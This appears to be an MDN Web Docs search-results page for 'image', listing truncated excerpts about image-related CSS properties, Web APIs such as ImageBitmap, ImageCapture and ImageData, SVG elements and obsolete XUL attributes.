... syntax /* <length> value */ border-image-outset: 1rem; /* <number> value */ border-image-outset: 1.5; /* vertical | horizontal */ border-image-outset: 1 1.2; /* top | horizontal | bottom */ border-image-outset: 30px 2 45px; /* top | right | bottom | left */ border-image-outset: 7px 12px 14px 5px; /* global values */ border-image-outset: inherit; border-image-outset: initial; border-image-outset: unset; the border-image-outset property may be specified as one, two, three, or four values.
...And 5 more matches
border-image-repeat - CSS: Cascading Style Sheets
the border-image-repeat css property defines how the edge regions of a source image are adjusted to fit the dimensions of an element's border image.
... syntax /* keyword value */ border-image-repeat: stretch; border-image-repeat: repeat; border-image-repeat: round; border-image-repeat: space; /* vertical | horizontal */ border-image-repeat: round stretch; /* global values */ border-image-repeat: inherit; border-image-repeat: initial; border-image-repeat: unset; the border-image-repeat property may be specified using one or two values chosen from the list of values below.
... values stretch the source image's edge regions are stretched to fill the gap between each border.
...And 5 more matches
border-image-width - CSS: Cascading Style Sheets
the border-image-width css property sets the width of an element's border image.
... if this property's value is greater than the element's border-width, the border image will extend beyond the padding (and/or content) edge.
... syntax /* keyword value */ border-image-width: auto; /* <length> value */ border-image-width: 1rem; /* <percentage> value */ border-image-width: 25%; /* <number> value */ border-image-width: 3; /* vertical | horizontal */ border-image-width: 2em 3em; /* top | horizontal | bottom */ border-image-width: 5% 15% 10%; /* top | right | bottom | left */ border-image-width: 5% 2em 10% auto; /* global values */ border-image-width: inherit; border-image-width: initial; border-image-width: unset; the border-image-width property may be specified using one, two, three, or four values chosen from the list of values below.
...And 5 more matches
image-rendering - SVG: Scalable Vector Graphics
the image-rendering attribute provides a hint to the browser about how to make speed vs.
... quality tradeoffs as it performs image processing.
... note: as a presentation attribute, image-rendering can be used as a css property.
...And 5 more matches
Image() - Web APIs
the image() constructor creates a new htmlimageelement instance.
... disambiguation: image(), the css function notation.
... syntax var htmlimageelement = new image(width, height); parameters width the width of the image (i.e., the value for the width attribute).
...And 4 more matches
HTMLImageElement.longDesc - Web APIs
the obsolete property longdesc on the htmlimageelement interface specifies the url of a text or html file which contains a long-form description of the image.
... syntax descurl = htmlimageelement.longdesc; htmlimageelement.longdesc = descurl; value a domstring which may be either an empty string (indicating that no long description is available) or the url of a file containing a long form description of the image's contents.
... for example, if the image is a png of a flowchart.
...And 4 more matches
ImageBitmap - Web APIs
the imagebitmap interface represents a bitmap image which can be drawn to a <canvas> without undue latency.
... it can be created from a variety of source objects using the createimagebitmap() factory method.
... imagebitmap provides an asynchronous and resource efficient pathway to prepare textures for rendering in webgl.
...And 4 more matches
ImageCapture.takePhoto() - Web APIs
the takephoto() method of the imagecapture interface takes a single exposure using the video capture device sourcing a mediastreamtrack and returns a promise that resolves with a blob containing the data.
... syntax const blobpromise = imagecaptureobj.takephoto([photosettings]) parameters photosettings optional an object that sets options for the photo to be taken.
... imageheight: the desired image height as an integer.
...And 4 more matches
WebGLRenderingContext.copyTexSubImage2D() - Web APIs
the webglrenderingcontext.copytexsubimage2d() method of the webgl api copies pixels from the current webglframebuffer into an existing 2d texture sub-image.
... syntax void gl.copytexsubimage2d(target, level, xoffset, yoffset, x, y, width, height); parameters target a glenum specifying the binding point (target) of the active texture.
...level 0 is the base image level and level n is the nth mipmap reduction level.
...And 4 more matches
shape-image-threshold - CSS: Cascading Style Sheets
the shape-image-threshold css property sets the alpha channel threshold used to extract the shape using an image as the value for shape-outside.
... /* <number> value */ shape-image-threshold: 0.7; /* global values */ shape-image-threshold: inherit; shape-image-threshold: initial; shape-image-threshold: unset; syntax values <alpha-value> sets the threshold used for extracting a shape from an image.
... formal definition initial value0.0applies tofloatsinheritednocomputed valuethe same as the specified value after clipping the <number> to the range [0.0, 1.0].animation typea number formal syntax <alpha-value>where <alpha-value> = <number> | <percentage> examples aligning text to a gradient this example creates a <div> block with a gradient background image.
...And 4 more matches
Crisp pixel art look with image-rendering - Game development
original size 4x size 4x size (scaled with an image editor) none vendor's algorithm nearest-neighbor algorithm a css-based solution the good news is that you can use css to automatically do the up-scaling, which not only solves the blur problem, but also allows you to use the images in their original, smaller size, thus saving download time.
... also, some game techniques require algorithms that analyse images, which also benefit from working with smaller images.
... the css property to achieve this scaling is image-rendering.
...And 3 more matches
Test your skills: Images and Form elements - Learn web development
the aim of this task is to help you check your understanding of some of the values and units that we looked at in the lesson on images, media and form elements.
... task one in this task, you have an image that is overflowing the box.
... we want the image to scale down to fit inside the box without any extra white space, but we do not mind if some part of the image is cropped.
...And 3 more matches
Document.images - Web APIs
WebAPIDocumentimages
the images read-only property of the document interface returns a collection of the images in the current html document.
... syntax var imagecollection = document.images; value an htmlcollection providing a live list of all of the images contained in the current document.
... each entry in the collection is an htmlimageelement representing a single image element.
...And 3 more matches
Document.mozSetImageElement() - Web APIs
the document.mozsetimageelement() method changes the element being used as the css background for a background with a given background element id.
... syntax document.mozsetimageelement(imageelementid, imageelement); parameters imageelementid is a string indicating the name of an element that has been specified as a background image using the -moz-element css function.
... imageelement is the new element to use as the background corresponding to that image element string.
...And 3 more matches
HTMLImageElement.decoding - Web APIs
the decoding property of the htmlimageelement interface represents a hint given to the browser on how it should decode the image.
...possible values are: sync: decode the image synchronously for atomic presentation with other content.
... async: decode the image asynchronously to reduce delay in presenting other content.
...And 3 more matches
HTMLImageElement.lowSrc - Web APIs
the htmlimageelement interface's obsolete lowsrc property can be used to specify the url of a reduced-quality or otherwise faster-loading version of the image specified by the src property.
... syntax htmlimageelement.lowsrc = imageurl; imageurl = htmlimageelement.lowsrc; value a domstring specifying the url of a version of the image specified by src which has been modified in some fashion so that it loads significantly more quickly than the primary image.
... there are a number of ways to achieve this; primary among them: higher compression levels (for example, a primary image saved as a jpeg using 85% quality might have a lowsrc version saved at 15%.
...And 3 more matches
ImageCapture.getPhotoCapabilities() - Web APIs
the getphotocapabilities() method of the imagecapture interface returns a promise that resolves with a photocapabilities object containing the ranges of available configuration options.
... syntax const capabilitiespromise = imagecaptureobj.getphotocapabilities() return value a promise that resolves with a photocapabilities object.
... example the following example, extracted from chrome's image capture / photo resolution sample, uses the results from getphotocapabilities() to modify the size of an input range.
...And 3 more matches
ImageData.data - Web APIs
WebAPIImageDatadata
the readonly imagedata.data property returns a uint8clampedarray that contains the imagedata object's pixel data.
... syntax imagedata.data examples getting an imagedata object's pixel data this example creates an imagedata object that is 100 pixels wide and 100 pixels tall, making 10,000 pixels in all.
... let imagedata = new imagedata(100, 100); console.log(imagedata.data); // uint8clampedarray[40000] console.log(imagedata.data.length); // 40000 filling a blank imagedata object this example creates and fills a new imagedata object with colorful pixels.
...And 3 more matches
SVGFEImageElement - Web APIs
the svgfeimageelement interface corresponds to the <feimage> element.
...aco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfeimageelement" target="_top"><rect x="311" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfeimageelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this inte...
... svgfeimageelement.preserveaspectratio read only an svganimatedpreserveaspectratio corresponding to the preserveaspectratio attribute of the given element.
...And 3 more matches
list-style-image - CSS: Cascading Style Sheets
the list-style-image css property sets an image to be used as the list item marker.
... syntax /* keyword values */ list-style-image: none; /* <url> values */ list-style-image: url('starsolid.gif'); /* global values */ list-style-image: inherit; list-style-image: initial; list-style-image: unset; values <url> location of image to use as the marker.
... none specifies that no image is used as the marker.
...And 3 more matches
SVG as an Image - SVG: Scalable Vector Graphics
svg images can be used as an image format, in a number of contexts.
... many browsers support svg images in: html <img> or <svg> elements css background-image gecko-specific contexts additionally, gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) introduced support for using svg in these contexts: css list-style-image css content svg <image> element svg <feimage> element canvas drawimage function restrictions for security purposes, gecko places some restrictions on svg content when it's being used as an image: javascript is disabled.
...images, stylesheets) cannot be loaded, though they can be used if inlined through data: uris.
...And 3 more matches
XPCOM category image-sniffing-services
in versions of firefox prior to firefox 3, extensions could add decoders for new image types.
... however, such decoders relied on servers sending correct mime types; images sent with incorrect mime types would not be correctly displayed.
... in firefox 3, a new xpcom category was added in bug 391667 to allow "third-party" xpcom components to identify images based on their content.
...And 2 more matches
CanvasRenderingContext2D.imageSmoothingQuality - Web APIs
the imagesmoothingquality property of the canvasrenderingcontext2d interface, part of the canvas api, lets you set the quality of image smoothing.
... note: for this property to have an effect, imagesmoothingenabled must be true.
... syntax ctx.imagesmoothingquality = "low" || "medium" || "high" options possible values: "low" low quality.
...And 2 more matches
HTMLImageElement.border - Web APIs
the obsolete htmlimageelement property border specifies the number of pixels thick the border surrounding the image should be.
... syntax htmlimageelement.border = thickness; let thickness = htmlimageelement.border; value a domstring containing an integer value specifying the thickness of the border that should surround the image, in css pixels.
...instead, use the css border property and its longhand properties to establish borders around images.
...And 2 more matches
HTMLImageElement.useMap - Web APIs
the usemap property on the htmlimageelement interface reflects the value of the html usemap attribute, which is a string providing the name of the client-side image map to apply to the image.
... syntax htmlimageelement.usemap = imagemapanchor; let imagemapanchor = htmlimageelement.usemap; value a usvstring providing the page-local url (that is, a url that begins with the hash or pound symbol, "#") of the <map> element which defines the image map to apply to the image.
... you can learn more about client-side image maps in our learning article add a hitmap on top of an image.
...And 2 more matches
ImageBitmapRenderingContext - Web APIs
the imagebitmaprenderingcontext interface is a canvas rendering context that provides the functionality to replace the canvas's contents with the given imagebitmap.
... methods imagebitmaprenderingcontext.transferfromimagebitmap() displays the given imagebitmap in the canvas associated with this rendering context.
... ownership of the imagebitmap is transferred to the canvas.
...And 2 more matches
ImageCapture() constructor - Web APIs
the imagecapture() constructor creates a new imagecapture object.
... syntax const imagecapture = new imagecapture(videotrack) parameters videotrack a mediastreamtrack from which the still images will be taken.
... return value a new imagecapture object which can be used to capture still frames from the specified video track.
...And 2 more matches
ImageCapture.grabFrame() - Web APIs
the grabframe() method of the imagecapture interface takes a snapshot of the live video in a mediastreamtrack and returns a promise that resolves with a imagebitmap containing the snapshot.
... syntax const bitmappromise = imagecapture.grabframe() return value a promise that resolves to an imagebitmap object.
... example this example is extracted from this simple image capture demo.
...And 2 more matches
MediaImage - Web APIs
the media session api's mediaimage dictionary describes the images associated with the media resource mediametadata.
... properties src the url from which user agent can fetch the image's data.
... sizes specifies the resource in multiple sizes so that user agent does not have to scale a single image.
...And 2 more matches
SVGImageElement.decoding - Web APIs
the decoding property of the svgimageelement interface represents a hint given to the browser on how it should decode the image.
... syntax var refstr = svgimageelement.decoding svgimageelement.decoding = refstr; values a domstring representing the decoding hint.
... possible values are: sync: decode the image synchronously for atomic presentation with other content.
...And 2 more matches
WebGLRenderingContext.copyTexImage2D() - Web APIs
the webglrenderingcontext.copyteximage2d() method of the webgl api copies pixels from the current webglframebuffer into a 2d texture image.
... syntax void gl.copyteximage2d(target, level, internalformat, x, y, width, height, border); parameters target a glenum specifying the binding point (target) of the active texture.
...level 0 is the base image level and level n is the nth mipmap reduction level.
...And 2 more matches
-moz-force-broken-image-icon - CSS: Cascading Style Sheets
the -moz-force-broken-image-icon extended css property can be used to force the broken image icon to be shown even when a broken image has an alt attribute.
... syntax values <integer> a value of 1 means that the broken image icon is shown even if the image has an alt attribute.
... when the value 0 is used the image will act as usual and only display the alt attribute.
...And 2 more matches
image - Archive of obsolete content
« xul reference home image type: uri the uri of the image to appear on the element.
... if this attribute is empty or left out, no image appears.
... the position of the image is determined by the dir and orient attributes.
... example <menuitem label="foo" class="menuitem-iconic" image="something.png"/> see also image element ...
CSSImageValue - Web APIs
the cssimagevalue interface of the css typed object model api represents values for properties that take an image, for example background-image, list-style-image, or border-image-source.
... the cssimagevalue object represents an <image> that involves an url, such as url() or image(), but not linear-gradient() or element() .
... examples we create an element <button>magic wand</button> we add some css, including a background image requesting a binary file: button { display: inline-block; min-height: 100px; min-width: 100px; background: no-repeat 5% center url(https://mdn.mozillademos.org/files/16793/magicwand.png) aqua; } we get the element's style map.
... we then get() the background-image from the stylemap and stringify it: // get the element const button = document.queryselector( 'button' ); // retrieve all computed styles with computedstylemap() const allcomputedstyles = button.computedstylemap(); // return the cssimagevalue example console.log( allcomputedstyles.get('background-image') ); console.log( allcomputedstyles.get('background-image').tostring() ); specifications specification status comment css typed om level 1the definition of 'cssimagevalue' in that specification.
HTMLImageElement.hspace - Web APIs
the obsolete hspace property of the htmlimageelement interface specifies the number of pixels of empty space to leave empty on the left and right sides of the <img> element when laying out the page.
... syntax htmlimageelement.hspace = marginwidth; marginwidth = htmlimageelement.hspace; value an integer value specifying the width, in pixels, of the horizontal margin to apply to the left and right sides of the image.
... specifications specification status comment html living standardthe definition of 'htmlimageelement.hspace' in that specification.
... living standard html 4.01 specificationthe definition of 'htmlimageelement.hspace' in that specification.
HTMLImageElement.name - Web APIs
the htmlimageelement interface's deprecated name property specifies a name for the element.
... syntax htmlimageelement.name = namestring; namestring = htmlimageelement.name; value a domstring providing a name by which the image can be referenced.
... specifications specification status comment html living standardthe definition of 'htmlimageelement.name' in that specification.
... living standard html 4.01 specificationthe definition of 'htmlimageelement.name' in that specification.
HTMLImageElement.vspace - Web APIs
the obsolete vspace property of the htmlimageelement interface specifies the number of pixels of empty space to leave empty on the top and bottom of the <img> element when laying out the page.
... syntax htmlimageelement.vspace = marginheight; marginheight = htmlimageelement.vspace; value an integer value specifying the height, in pixels, of the vertical margin to apply to the top and bottom sides of the image.
... specifications specification status comment html living standardthe definition of 'htmlimageelement.vspace' in that specification.
... living standard html 4.01 specificationthe definition of 'htmlimageelement.vspace' in that specification.
PhotoCapabilities.imageHeight - Web APIs
the imageheight read-only property of the photocapabilities interface returns a mediasettingsrange object indicating the image height range supported by the user agent.
... syntax var mediasettingsrange = photocapabilities.imageheight value a mediasettingsrange object.
... specifications specification status comment mediastream image capturethe definition of 'imageheight' in that specification.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetimageheight experimentalchrome full support 59edge full support ≤79firefox ?
imageWidth - Web APIs
the imagewidth read-only property of the photocapabilities interface returns a mediasettingsrange object indicating the image width range supported by the user agent.
... syntax var mediasettingsrange = photocapabilities.imagewidth value a mediasettingsrange is an object.
... specifications specification status comment mediastream image capturethe definition of 'imagewidth' in that specification.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetimagewidth experimentalchrome full support 59edge full support ≤79firefox ?
Implementing image sprites in CSS - CSS: Cascading Style Sheets
image sprites are used in numerous web apps where multiple images are used.
... rather than include each image as a separate image file, it is much more memory- and bandwidth-friendly to send them as a single image; using background position as a way to distinguish between individual images in the same image file, so the number of http requests is reduced.
... implementation suppose an image is given to every item with class toolbtn: .toolbtn { background: url(myfile.png); display: inline-block; height: 20px; width: 20px; } a background position can be added either as two x, y values after the url()() in the background, or as background-position.
... for example: #btn1 { background-position: -20px 0px; } #btn2 { background-position: -40px 0px; } this would move the element with the id 'btn1' 20 pixels to the left and the element with the id 'btn2' 40 pixels to the left (assuming they have the class toolbtn assigned and are affected by the image rule above).
CSS Images - CSS: Cascading Style Sheets
css images is a module of css that defines what types of images can be used (the <image> type, containing urls, gradients and other types of images), how to resize them and how they, and other replaced content, interact with the different layout models.
... reference properties image-orientation image-rendering image-resolution object-fit object-position functions linear-gradient() radial-gradient() repeating-linear-gradient() repeating-radial-gradient() conic-gradient() repeating-conic-gradient() url() element() image() cross-fade() data types <gradient> <image> guides using css gradients presents a specific type of css images, gradients, and how to create and use these.
... implementing image sprites in css describes the common technique grouping several images in one single document to save download requests and speed up the availability of a page.
... specifications specification status comment css images module level 4 working draft added image-resolution, conic-gradient(), and image() css images module level 3 candidate recommendation added image-orientation, image-rendering, object-fit and object-position compatibility standardthe definition of 'css gradients' in that specification.
image.onload - Archive of obsolete content
« xul reference home image.onload type: script code this event handler will be called on the image element when the image has finished loading.
... this applies whether the image is applied via the src attribute or the list-style-image style property.
... if you change the image, the event will fire again when the new image loads.
showimagecolumn - Archive of obsolete content
« xul reference home showimagecolumn type: boolean if true, an image column appears in the popup.
... there is no default styling of this image, but the class name returned by the results appears in the property list for the column.
... if this attribute is not specified, the image column doesn't appear.
Raster image - MDN Web Docs Glossary: Definitions of Web-related terms
a raster image is an image file defined as a grid of pixels.
...common raster image formats on the web are jpeg, png, gif, and ico.
... raster image files usually contain one set of dimensions, but the ico and cur formats, used for favicons and css cursor images, can contain multiple sizes.
nsISelectionImageService
layout/base/nsiselectionimageservice.idlnot scriptable please add a summary to this article.
... inherits from: nsisupports last changed in gecko 1.7 method overview void getimage(in short selectionvalue, out imgicontainer container); void reset(); methods getimage() retrieve the image for alpha blending.
... void getimage( in short selectionvalue, out imgicontainer container ); parameters selectionvalue container reset() the current image is marked as invalid.
ImageBitmap.close() - Web APIs
WebAPIImageBitmapclose
the imagebitmap.close() method disposes of all graphical resources associated with an imagebitmap.
... syntax void imagebitmap.close() examples var offscreen = new offscreencanvas(256, 256); var gl = offscreen.getcontext('webgl'); // ...
... var bitmap = offscreen.transfertoimagebitmap(); // imagebitmap { width: 256, height: 256 } bitmap.close(); // imagebitmap { width: 0, height: 0 } -- disposed specifications specification status comment html living standardthe definition of 'close()' in that specification.
ImageCapture.track - Web APIs
the track read-only property of the imagecapture interface returns a reference to the mediastreamtrack passed to the imagecapture() constructor.
... syntax const mediastreamtrack = imagecaptureobj.track value a mediastreamtrack object.
... specifications specification status comment mediastream image capturethe definition of 'track' in that specification.
ImageData.height - Web APIs
WebAPIImageDataheight
the readonly imagedata.height property returns the number of rows in the imagedata object.
... syntax imagedata.height example this example creates an imagedata object that is 200 pixels wide and 100 pixels tall.
... let imagedata = new imagedata(200, 100); console.log(imagedata.height); // 100 specification specification status comment html living standardthe definition of 'imagedata.height' in that specification.
ImageData.width - Web APIs
WebAPIImageDatawidth
the readonly imagedata.width property returns the number of pixels per row in the imagedata object.
... syntax imagedata.width example this example creates an imagedata object that is 200 pixels wide and 100 pixels tall.
... let imagedata = new imagedata(200, 100); console.log(imagedata.width); // 200 specification specification status comment html living standardthe definition of 'imagedata.width' in that specification.
Notification.image - Web APIs
the image read-only property of the notification interface contains the url of an image to be displayed as part of the notification, as specified in the image option of the notification() constructor.
... syntax var image = notification.image; value a usvstring.
... specifications specification status comment notifications apithe definition of 'image' in that specification.
OffscreenCanvas.transferToImageBitmap() - Web APIs
the offscreencanvas.transfertoimagebitmap() method creates an imagebitmap object from the most recently rendered image of the offscreencanvas.
... syntax imagebitmap offscreencanvas.transfertoimagebitmap() return value an imagebitmap.
... offscreen.transfertoimagebitmap(); // imagebitmap { width: 256, height: 256 } specifications specification status comment html living standardthe definition of 'offscreencanvas.transfertoimagebitmap()' in that specification.
SVGImageElement.decode - Web APIs
the decode() method of the svgimageelement interface initiates asynchronous decoding of an image, returning a promise that resolves once the image data is ready for use.
... syntax var promise = svgimageelement.decode(); parameters none.
... return value a promise which resolves once the image data is ready to be used, such as by appending it to the dom, replacing an existing image, and so forth.
Media type and format guide: image, audio, and video content - Web media technologies
WebMediaFormats
originally, these capabilities were limited, and were expanded organically, with different browsers finding their own solutions to the problems around including still and video imagery on the web.
... references images image file type and format guide covers support of image file types and content formats across the major web browsers, as well as providing basic information about each type: benefits, limitations, and use cases of interest to web designers and developers.
... image file types for web designers fundamental information about the various image file types that may be useful for web designers, including best practices and use cases for each type, and guidelines for choosing the right image file format for specific types of content.
<feImage> - SVG: Scalable Vector Graphics
WebSVGElementfeImage
the <feimage> svg filter primitive fetches image data from an external source and provides the pixel data as output (meaning if the external source is an svg image, it is rasterized.) usage context categoriesfilter primitive elementpermitted contentany number of the following elements, in any order:<animate>, <animatetransform>, <set> attributes global attributes core attributes presentation attributes filter primitive attributes xlink attributes class style externalresourcesrequired specific attributes preserveaspectratio xlink:href dom interface this element implements the svgfeimageelement interface.
... example svg <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <filter id="image"> <feimage xlink:href="/files/6457/mdn_logo_only_color.png"/> </filter> </defs> <rect x="10%" y="10%" width="80%" height="80%" style="filter:url(#image);"/> </svg> result specifications specification status comment filter effects module level 1the definition of '<feimage>' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of '<feimage>' in that specification.
SVG image element - SVG: Scalable Vector Graphics
« previousnext » the svg <image> element allows for raster images to be rendered within an svg object.
... in this basic example, a .jpg image referenced by an href attribute will be rendered inside an svg object: <?xml version="1.0" standalone="no"?> <!doctype svg public "-//w3c//dtd svg 1.1//en" "http://www.w3.org/graphics/svg/1.1/dtd/svg11.dtd"> <svg width="5cm" height="4cm" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <image href="firefox.jpg" x="0" y="0" height="50px" width="50px"/> </svg> there are some important things to take note of (referenced from the w3 specs): if you do not set the x or y attributes, they will be set to 0.
... having a height or width attribute of 0 will disable rendering of the image.
treecol-image - Archive of obsolete content
« xul reference home treecol-image use this class to have an image appear on the tree column header.
... specify the image using the src attribute.
View background images - Firefox Developer Tools
in the rules view, you can see a preview of images specified using background-image.
... just hover over the rule: from firefox 41, if you right-click the image declaration, you'll see an option to copy the image as a data: url: ...
CanvasImageSource - Web APIs
canvasimagesource provides a mechanism for other interfaces to be used as image sources for some methods of the canvasdrawimage and canvasfillstrokestyles interfaces.
... the interfaces that it allows to be used as image sources are the following: htmlimageelement svgimageelement htmlvideoelement htmlcanvaselement imagebitmap offscreencanvas specifications specification status comment html living standardthe definition of 'canvasimagesource' in that specification.
HTMLImageElement.referrerPolicy - Web APIs
the htmlimageelement.referrerpolicy property reflects the html referrerpolicy attribute of the <img> element defining which referrer is sent when fetching the resource.
... examples var img = new image(); img.src = 'img/logo.png'; img.referrerpolicy = 'origin'; var div = document.getelementbyid('divaround'); div.appendchild(img); // fetch the image using the origin as the referrer specifications specification status comment referrer policythe definition of 'referrerpolicy attribute' in that specification.
ImageBitmap.height - Web APIs
the read-only imagebitmap.height property returns the imagebitmap object's height in css pixels.
... specifications specification status comment html living standardthe definition of 'imagebitmap.height' in that specification.
ImageBitmap.width - Web APIs
WebAPIImageBitmapwidth
the read-only imagebitmap.width property returns the imagebitmap object's width in css pixels.
... specifications specification status comment html living standardthe definition of 'imagebitmap.height' in that specification.
SVGImageElement.height - Web APIs
the height read-only property of the svgimageelement interface returns an svganimatedlength corresponding to the height attribute of the given <image> element.
... syntax var height = svgimageelement.height value an svganimatedlength.
SVGImageElement.preserveAspectRatio - Web APIs
the preserveaspectratio read-only property of the svgimageelement interface returns an svganimatedpreserveaspectratio corresponding to the preserveaspectratio attribute of the given <image> element.
... syntax var svganimatedpreerveaspectratio = svgimageelement.preserveaspectratio; value an svganimatedpreserveaspectratio.
SVGImageElement.width - Web APIs
the width read-only property of the svgimageelement interface returns an svganimatedlength corresponding to the width attribute of the given <image> element.
... syntax var width = svgimageelement.width; value an svganimatedlength.
SVGImageElement.x - Web APIs
WebAPISVGImageElementx
the x read-only property of the svgimageelement interface returns an svganimatedlength corresponding to the x attribute of the given <image> element.
... syntax var x = svgimageelement.x; value an svganimatedlength.
SVGImageElement.y - Web APIs
WebAPISVGImageElementy
the y read-only property of the svgimageelement interface returns an svganimatedlength corresponding to the y attribute of the given <image> element.
... syntax var y = svgimageelement.y; value an svganimatedlength.
Feature-Policy: legacy-image-formats - HTTP
the http feature-policy header legacy-image-formats directive controls whether the current document is allowed to display images in legacy formats.
... syntax feature-policy: legacy-image-formats <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin.
Feature-Policy: oversized-images - HTTP
the http feature-policy header oversized-images directive controls whether the current document is allowed to download and display large images.
... syntax feature-policy: oversized-images <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin.
Feature-Policy: unoptimized-images - HTTP
the http feature-policy header unoptimized-images directive controls whether the current document is allowed to download and display unoptimized images.
... syntax feature-policy: unoptimized-images <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin.
image - Archive of obsolete content
ArchiveMozillaXULPropertyimage
« xul reference image type: image url gets and sets the value of the image attribute.
menulist.image - Archive of obsolete content
« xul reference image type: image url the image associated with the currently selected item.
showImageColumn - Archive of obsolete content
« xul reference showimagecolumn type: boolean gets and sets the value of the showimagecolumn attribute.
:-moz-system-metric(images-in-menus) - Archive of obsolete content
the :-moz-system-metric(images-in-menus) css pseudo-class matches an element if the computer's user interface supports images in menus.
GetImagePosition
this content is now available at nsiaccessibleimage.getimageposition().
GetImageSize
this content is now available at nsiaccessibleimage.getimagesize().
Index - Web APIs
WebAPIIndex
389 css.paintworklet (static property) api, css, css paint api, experimental, houdini, painting, property, reference, worklet, paintworklet paintworklet is a static, read-only property of the css interface that provides access to the paintworklet, which programmatically generates an image where a css property expects a file.
... 398 using the css painting api css, css paint api, canvas, houdini, learn the css paint api is designed to enable developers to programmatically define images which can then be used anywhere a css image can be invoked, such as css background-image, border-image, mask-image, etc.
... 406 cssimagevalue api, css typed object model api, cssimagevalue, experimental, houdini, interface, reference the cssimagevalue interface of the css typed object model api represents values for properties that take an image, for example background-image, list-style-image, or border-image-source.
...And 145 more matches
imgIContainer
image/public/imgicontainer.idlscriptable represents an image in the gecko rendering engine.
...it also provides methods for drawing images onto thebes contexts.
... internally, this interface also manages animation of images.
...And 53 more matches
SVG documentation index - SVG: Scalable Vector Graphics
WebSVGIndex
found 383 pages: # page tags and summary 1 svg: scalable vector graphics 2d graphics, graphics, icons, images, reference, responsive design, svg, scalable graphics, scalable images, vector graphics, web, l10n:priority scalable vector graphics (svg) are an xml-based markup language for describing two-dimensional based vector graphics.xml 2 applying svg effects to html content css, guide, html, svg modern browsers support using svg within css styles to apply graphical effects to html content.
...after applying the kernelmatrix of the <feconvolvematrix> element to the input image to yield a number and applied the divisor attribute, the bias attribute is added to each component.
... 47 color-profile deprecated, needsexample, svg, svg attribute the color-profile attribute is used to define which color profile a raster image included through the <image> element should use.
...And 40 more matches
Drawing graphics - Learn web development
graphics on the web as we talked about in our html multimedia and embedding module, the web was originally just text, which was very boring, so images were introduced — first via the <img> element and later via css properties such as background-image, and svg.
...while you could use css and javascript to animate (and otherwise manipulate) svg vector images — as they are represented by markup — there was still no way to do the same for bitmap images, and the tools available were rather limited.
...this element is used to define the area on the page into which the image will be drawn.
...And 38 more matches
filter - CSS: Cascading Style Sheets
WebCSSfilter
filters are commonly used to adjust the rendering of images, backgrounds, and borders.
... filter: url(resources.svg#c1) filter functions blur() the blur() fucntion applies a gaussian blur to the input image.
... filter: blur(5px) <table class="standard-table"> <thead> <tr> <th style="text-align: left;" scope="col">original image</th> <th style="text-align: left;" scope="col">live example</th> <th style="text-align: left;" scope="col">svg equivalent</th> <th style="text-align: left;" scope="col">static example</th> </tr> </thead> <tbody> <tr> <td><img alt="test_form.jpg" id="img1" class="internal default" src="/files/3710/test_form_2.jpg" style="width: 100%;" /></td> <td><img alt=...
...And 36 more matches
Backgrounds and borders - Learn web development
from adding gradients, background images, and rounded corners, backgrounds and borders are the answer to a lot of styling questions in css.
... background images the background-image property enables the display of an image in the background of an element.
... in the example below, we have two boxes — one has a background image which is larger than the box, the other has a small image of a star.
...And 34 more matches
Scaling of SVG backgrounds - CSS: Cascading Style Sheets
given the flexibility of svg images, there's a lot to keep in mind when using them as background images with the background-image property, and even more to keep in mind when also scaling them using the background-size property.
... this article describes how scaling of svg images is handled when using these properties.
... if the image has an intrinsic ratio (that is, its width:height ratio is constant, such as 16:9, 4:3, 2.39:1, 1:1, and so forth), the rendered size preserves that ratio.
...And 32 more matches
Pixel manipulation with canvas - Web APIs
with the imagedata object you can directly read and write a data array to manipulate pixel data.
... we will also look into how image smoothing (anti-aliasing) can be controlled and how to save images from your canvas.
... the imagedata object the imagedata object represents the underlying pixel data of an area of a canvas object.
...And 31 more matches
cross-fade() - CSS: Cascading Style Sheets
the css cross-fade() function can be used to blend two or more images at a defined transparency.
... it can be used for many simple image manipulations, such as tinting an image with a solid color or highlighting a particular area of the page by combining an image with a radial gradient.
... specification syntax the cross-fade() function takes a list of images with a percentage defining how much of each image is retained in terms of opacity when it is blended with the other images.
...And 31 more matches
Adding vector graphics to the Web - Learn web development
prerequisites: you should know the basics of html and how to insert an image into your document.
... objective: learn how to embed an svg (vector) image into a webpage.
... on the web, you'll work with two types of image — raster images, and vector images: raster images are defined using a grid of pixels — a raster image file contains information showing exactly where each pixel is to be placed, and exactly what color it should be.
...And 30 more matches
background-size - CSS: Cascading Style Sheets
the background-size css property sets the size of the element's background image.
... the image can be left to its natural size, stretched, or constrained to fit the available space.
... spaces not covered by a background image are filled with the background-color property, and the background color will be visible behind background images that have transparency/translucency.
...And 30 more matches
Index - Archive of obsolete content
mention the localization layer 393 making a mozilla installation modifiable add-ons, extensions mozilla's user interface is made up of xul (described below), xbl (a topic for another tutorial), javascript, css, and image files.
... xul, xbl, javascript, and css files are all in text format and can be edited in a standard text editor, while image files are in binary gif, jpg, or png format and must be edited with an image editing program.
